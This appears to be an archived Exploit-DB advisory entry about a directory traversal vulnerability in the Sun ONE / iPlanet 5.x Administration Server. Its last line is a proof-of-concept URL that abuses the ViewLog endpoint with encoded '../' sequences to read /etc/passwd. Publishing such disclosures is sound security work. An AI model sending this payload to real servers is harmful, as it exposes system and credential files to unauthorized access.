Sun One 5.1,IPlanet 5.0/5.1 Administration Server Directory Traversal Vulnerability

2003-08-08T00:00:00
ID EDB-ID:22994
Type exploitdb
Reporter Jim Hardisty
Modified 2003-08-08T00:00:00

Description

Sun One 5.1,IPlanet 5.0/5.1 Administration Server Directory Traversal Vulnerability. Remote exploits for multiple platform

                                        
                                            source: http://www.securityfocus.com/bid/8367/info

A problem in the checking of input by the Sun ONE Administration Server may lead to remote users escaping into restricted directories. This may allow an attacker to gain access to information that is sensitive in nature.

http://www.example.com:5000/admin-serv/tasks/configuration/ViewLog?file=passwd&num=5000&str=&directories=admin-serv%2Flogs%2f..%2f..%2f..%2f..%2f..%2f..%2fetc&id=admin-serv